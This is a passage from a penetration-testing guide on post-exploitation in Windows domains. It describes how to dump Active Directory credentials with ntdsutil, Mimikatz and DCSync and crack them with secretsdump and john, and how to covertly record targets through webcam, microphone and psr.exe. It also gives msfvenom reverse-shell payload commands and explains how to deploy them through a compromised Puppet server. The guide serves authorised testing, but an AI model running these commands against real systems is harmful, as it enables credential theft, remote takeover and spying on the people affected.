• Grabbing the ntds.dit file locally on the DC using NTDSUtil’s Create IFM
• Pulling the ntds.dit remotely using VSS shadow copy
• Pulling the ntds.dit remotely using PowerSploit’s Invoke-NinjaCopy (requires PowerShell remoting is enabled on target DC).
• Dumping Active Directory credentials locally using Mimikatz (on the DC).
• Dumping Active Directory credentials locally using Invoke-Mimikatz (on the DC).
• Dumping Active Directory credentials remotely using Invoke-Mimikatz.
• Dumping Active Directory credentials remotely using Mimikatz’s DCSync.

The methods covered above require elevated rights since they involve connecting to the Domain Controller to dump credentials.

The statement “We do have all the users password hashes of your organization and X number of passwords were cracked in X number of days” make a good impact for your client.

Metasploit provide a post exploitation module for taking snapshots from webcam and recording sounds from microphone. Imagine, the impact of informing the client that we can view a person live-feed or record sounds from a meeting room without being present in the same room. Maybe in the meeting there were discussing about passwords, company secrets, operations, future plannings, spendings, etc.

### Webcam¶

This module will allow the user to detect installed webcams (with the LIST action) or take a snapshot (with the SNAPSHOT) action.

msf > use post/windows/manage/webcam
msf post(webcam) > info

Name: Windows Manage Webcam
Module: post/windows/manage/webcam

Available actions:
Name      Description
----      -----------
LIST      Show a list of webcams
SNAPSHOT  Take a snapshot with the webcam

Basic options:
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
INDEX    1                no        The index of the webcam to use
QUALITY  50               no        The JPEG image quality
SESSION                   yes       The session to run this module on.


### Record_Mic¶

This module will enable and record your target’s microphone.

msf post(webcam) > use post/multi/manage/record_mic
msf post(record_mic) > info

Name: Multi Manage Record Microphone
Module: post/multi/manage/record_mic

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
DURATION  5                no        Number of seconds to record
SESSION                    yes       The session to run this module on.


Sinn3r has written a blog The forgotten spying feature: Metasploit’s Mic Recording Command which can provide more information. Once, we have recorded the meetings, the sound WAV files can be converted to text using speech to text api.

### User Activity¶

If we have a meterpreter from a windows machine, we can use Problem Steps Recorder ( PSR )(Microsoft In-built tool) to captures screenshots and text descriptions of what a user is doing on their system.

psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]

/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.


Once, we have a meterpreter, we can use shell to execute it

psr.exe /start /gui 0 /output C:\Users\Dan\Desktop\cool.zip;
Start-Sleep -s 20;
psr.exe /stop;


A hypervisor or virtual machine monitor (VMM) is computer software, firmware or hardware that creates and runs virtual machines. Many of times, we would find that the client has deployed a common 4-tier architecture such as development, testing, staging, production (DEV, TEST, STAGING, PROD) on to hypervisor i.e. each environment on one hypervisor. If you compromise the Hypervisor ( mostly attached to Windows Domain ), you would end up compromising whole ( DEV/ TEST/ STAGING and PROD ) environment. Once, we compromised a client SAP environment in such manner.

As we already have domain administrator privileges, we own the network and possibly have access to every machine. However, we will cover a non-traditional way to strategically target and compromise computers.

### Microsoft’s System Center Configuration Manager¶

SCCM is a platform that allows for an enterprise to package and deploy operating systems, software, and software updates. It allows for IT staff to script and push out installations to clients in an automated manner. If you can gain access to SCCM, it makes for a great attack platform. It heavily integrates Windows PowerShell, has excellent network visibility, and has a number of SCCM clients as SYSTEM just waiting to execute your code as SYSTEM.

Enigma has written a awesome blog Target workstation compromise with SCCM

### Microsoft System Center Operations Manager¶

System Center Operations Manager (SCOM) is a cross-platform data center monitoring system for operating systems and hypervisors. It uses a single interface that shows state, health and performance information of computer systems. It also provides alerts generated according to some availability, performance, configuration or security situation being identified. It works with Microsoft Windows Server and Unix-based hosts.

SCOM also allows to monitor health of the system and provide powershell interface to the machine or provide an ability to execute a script on a particular machine.

### Puppet¶

Puppet is an open-source software configuration management tool. It runs on many Unix-like systems as well as on Microsoft Windows. It was created to easily automate repetitive and error-prone system administration tasks. Puppet’s easy-to-read declarative language allows you to declare how your systems should be configured to do their jobs.

However, if an organization is utilizing puppet to control it servers/ workstations and we have compromised puppet server. We can just create a metasploit meterpreter based on the target operating system ( Windows/ Linux ) using msfvenom.

• Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

• Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

• Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho


Create a module in puppet to include this payload using file resource and store in on the targeted machine. Utilizing exec resource, execute the payload and we would receive the meterpreter on the listener.

Tanoy Bose has written the blog on Enterprise Offense: IT Operations [Part 1] - Post-Exploitation of Puppet and Ansible Servers

Todo

• The Email- Mailbox Post exploitation – Also the check if someone has exploited this (check logs) – which is also connected to Domain?
• How does google email works?
• File Hunting – Better ways!! Faster ways!!

### Credmap: The credential Mapper¶

credmap. is open source tool created by Roberto Salgado to check for credential reuse. It is capable of testing the supplied user credentials on several websites to test if the password has been reused or not. This tool can be of great advantage to check the validation of the gathered credentials on other social media sites as well.

Usage: credmap.py --email EMAIL | --user USER | --load LIST [options]

Options:
-h/--help             show this help message and exit
-v/--verbose          display extra output information
-e/--email=EMAIL      set an email to test with
-f/--format=CRED_F..  format to use when reading from file (e.g. u|e:p)
-x/--exclude=EXCLUDE  exclude sites from testing
-o/--only=ONLY        test only listed sites
-s/--safe-urls        only test sites that use HTTPS
-i/--ignore-proxy     ignore system default HTTP proxy
--proxy               set proxy (e.g. "socks5://192.168.1.2:9050")
--list                list available sites to test with
--update              update from the official git repository

Examples:
./credmap.py -u johndoe -e johndoe@email.com --exclude "github.com, live.com"
./credmap.py -e janedoe@example.com --verbose --proxy "https://127.0.0.1:8080"
./credmap.py -l creds.txt -f "u|e:p"
./credmap.py -l creds.txt
./credmap.py --list


## Appendix-I : Windows Credentials¶

In this section, we have explained the concepts about authentication, credentials and authenticators, credential storage, authentication protocols, logon types. The below has been directly taken from the Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft, Version 1 and 2

When a user wants to access a computing resource, they must provide information that identifies who they are, their identity, and proof of this identity in the form of secret information that only they are supposed to know. This proof of identity is called an authenticator. An authenticator can take various forms, depending on the authentication protocol and method. The combination of an identity and an authenticator is called an authentication credential or credential. The process of creation, submission, and verification of credentials is described simply as authentication, which is implemented through various authentication protocols, such as NTLM and Kerberos authentication. Authentication establishes the identity of the user, but not necessarily the user’s permission to access or change a computing resource, which is handled by a separate authorization process.

Credentials are typically created or converted to a form required by the authentication protocols available on a computer. Credentials may be stored in LSASS process memory for use by the account during a session. Credentials must also be stored on disk in authoritative databases, such as the SAM database and the Active Directory database.

In Windows operating systems, a user’s identity takes the form of the account’s username, either the “user name” (SAM Account Name) or the User Principal Name (UPN).

### Windows authenticators¶

Windows Credential Types, lists the credential authenticator types in Windows operating systems and provides a brief description of each type.

Credential Type Description
Plaintext credentials When a user logs on to a Windows computer and provides a username and credentials, such as a password or PIN, the information is provided to the computer in plaintext. This plaintext password is used to authenticate the user’s identity by converting it into the form required by the authentication protocol. Current versions of Windows also retain an encrypted copy of this password that can be decrypted back to plaintext for use with authentication methods such as Digest authentication.
NT hash The NT hash of the password is calculated using an unsalted MD4 hash algorithm. MD4 is a cryptographic one-way function that produces a mathematical representation of a password. This hashing function is designed to always produce the same result from the same password input, and to minimize collisions where two different passwords can produce the same result. This hash is always the same length and cannot be directly decrypted to reveal the plaintext password. Because the NT hash only changes when the password changes, an NT hash is valid for authentication until a user’s password is changed. This also means that if two accounts use an identical password, they will also have an identical NT password hash.
LM Hash

LAN Manager (LM) hashes are derived from the user password. Legacy support for LM hashes and the LAN Manager authentication protocol remains in the Windows NTLM protocol suite, but default configurations and Microsoft security guidance have discouraged their use for more than a decade. LM hashes have a number of challenges that make them less secure and more valuable to attackers if stolen: - hashes required a password to be less than 15 characters long and contain only ASCII characters. - LM Hashes also do not differentiate between uppercase and lowercase letters.

Techniques to obtain the plaintext value from a LM hash with relatively low effort have been available for a number of years, so the loss of a LM hash should be considered nearly equivalent to the loss of plaintext password.

Windows logon cached password verifiers These verifiers are stored in the registry (HKLMSecurity) on the local computer and provide validation of a domain user’s credentials when the computer cannot connect to Active Directory during a user logon. These are not credentials, as they cannot be presented to another computer for authentication, and they can only be used to locally verify a credential.

### Credential Storage¶

Credential Storage, lists the types of credential storage locations available on the Windows operating system.

Credential sources Description
Security Accounts Manager (SAM) database

The SAM database is stored as a file on the local disk, and is the authoritative credential store for local accounts on each Windows computer. This database contains all the credentials that are local to that specific computer including the built-in local Administrator account and any other local accounts for that computer.

The SAM database stores information on each account, including the username and the NT password hash. By default, the SAM database does not store LM hashes on current versions of Windows. It is important to note that no password is ever stored in a SAM database, only the password hashes.

Local System Security Authority Subsystem ( LSASS ) process memory

The Local Security Authority (LSA) stores credentials in memory on behalf of users with active Windows sessions. This allows users to seamlessly access network resources, such as file shares, Exchange mailboxes, and SharePoint sites, without reentering their credentials for each remote service. LSA may store credentials in multiple forms including: - Reversibly encrypted plaintext - Kerberos tickets (TGTs, service tickets) - NT hash - LM hash

If the user logs on to Windows using a smartcard, LSA will not store a plaintext password, but it will store the corresponding NT hash value for the account and the plaintext PIN for the smartcard.

LSA secrets on disk

A Local Security Authority (LSA) secret is a secret piece of data that is accessible only to SYSTEM account processes. Some of these secrets are credentials that must persist after reboot and are stored in encrypted form on disk. Credentials stored as LSA secrets on disk may include: - Account password for the computer’s Active Directory account. - Account passwords for Windows services configured on the computer. - Account passwords for configured scheduled tasks. - Account passwords for IIS application pools and websites. - An attack tool running as an account with administrative privileges on the computer can exploit those privileges to

extract these LSA secrets.
Domain Active Directory Database ( NTDS.DIT )

The Active Directory database is the authoritative store of credentials for all user and computer accounts in an Active Directory domain. Each writable domain controller in the domain contains a full copy of the domain’s Active Directory database, including account credentials for all accounts in the domain. Read-only domain controllers (RODCs) house a partial local replica with credentials for a selected subset of the accounts in the domain. By default, RODCs do not have a copy of privileged domain accounts.

The Active Directory database stores a number of attributes for each account, including both username types and the following: - NT hash for current password. - NT hashes for password history (if configured).

Credential Manager (CredMan) store Users may choose to save passwords in Windows using an application or through the Credential Manager Control Panel applet. These credentials are stored on disk and protected using the Data Protection Application Programming Interface (DPAPI), which encrypts them with a key derived from the user’s password. Any program running as that user will be able to access credentials in this store.

Before we dig down in gathering credentials from a compromised machine, we should understand about Windows authentication protocols

### Windows authentication protocols¶

The following table provides information on Windows authentication protocols and a brief description of each supported protocol.

Protocol Description
Kerboros Kerberos is the default and preferred authentication protocol for domain authentication on current Windows operating systems. Kerberos relies on a system of keys, tickets, and mutual authentication in which keys are normally not passed across the network. (Direct use of the key is permitted for some application clients under certain circumstances). Certain Kerberos-specific objects that are used in the authentication process are stored as LSA secrets in memory, such as Ticket Granting Tickets (TGT) and Service Tickets (ST). TGTs are Single sign-on (SSO) authentication credentials that can be reused for lateral movement or privilege escalation, while STs are not credentials that can be used for lateral movement or privilege escalation.
NTLM NTLM protocols are authentication protocols that use a challenge and response method to make clients mathematically prove that they have possession of the NT hash. Current and past versions of Windows support multiple versions of this protocol, including NTLMv2, NTLM, and the LM authentication protocol.
Digest Digest is a standards-based protocol typically used for HTTP and Lightweight Directory Access Protocol (LDAP) authentication Digest authentication is described in RFCs 2617 and 2831.

## Appendix-II Cracking Hashes¶

Recently, we were given a requirement by a customer to figure out if any user in their Active Directory are using simple passwords!

For this, they provided us with the Active Directory database which can taken from a domain controller by using the below command on a administrative shell.

ntdsutil "ac in ntds" "ifm" "cr fu c:\temp" q q


Once, this database is obtained, it can be converted to the required format

domain\username:RID:lmhash:nthash:::


by running Impacket Secretsdump

secretsdump.py -system registry/SYSTEM -ntds Active\ Directory/ntds.dit LOCAL -outputfile customer


The command above will create a file called “customer.ntds” which we can use for password cracking.

Now, we can try john or hashcat to do the password cracking.

### LM:NT/ NT-Hashes¶

The above database would have your LM:NT hashes and can be cracked using

john --wordlist=<Word_Dictionary.txt> --format=LM customer.ntds


However, for some strange reason, only 140 hashes were getting loaded in John instead of approx 50K hashes. So, we converted LM:NT hashes to NT hashes.

domain\username:RID:lmhash:nthash:::


to

domain\username:nthash


john --wordlist=<Word_Dictionary.txt> --format=NT customer.nt




### Loopback?¶

John has loopback thing, also where it uses passwords which has been already cracked to crack more passwords.

--loopback[=FILE]         like --wordlist, but fetch words from a .pot file


BlackHills has released Domain Password Audit Tool that will generate password use statistics from password hashes dumped from a domain controller and a password crack file such as hashcat.potfile generated from the Hashcat tool during password cracking.

## Appendix-III Interesting Stories¶

find . -type f -exec perl -pi -e 's/blabla/bloblo/' {} \;